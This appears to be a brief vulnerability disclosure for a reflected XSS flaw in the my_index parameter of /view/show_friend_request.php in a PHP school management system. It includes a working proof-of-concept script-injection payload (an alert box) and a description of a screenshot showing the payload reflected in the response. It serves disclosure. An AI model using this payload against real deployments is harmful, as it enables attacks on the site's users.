

XSS injection vulnerability exists in my_index parameter of /view/show_friend_request.php file of Complete Web-Based School Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The screenshot displays the Network tab of a web browser's developer tools. The left pane shows the 'Request' for the URL `/std1/view/show_friend_request.php?my_index=my_index'()%26%25<zzz><ScRiPt%20>alert(9203)</ScRiPt>&my_type=my_type`. The right pane shows the 'Response' in 'Pretty' format, which includes a PHP warning and HTML output. A red box highlights the injected payload in the request, and another red box highlights the resulting `<ScRiPt> alert(9203) </ScRiPt>` in the response. The status bar at the bottom indicates 'Done' and '1,230 bytes | 4 millis'.

Payload: `my_index=my_index'()%26%25<zzz><ScRiPt%20>alert(9203)</ScRiPt>`

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>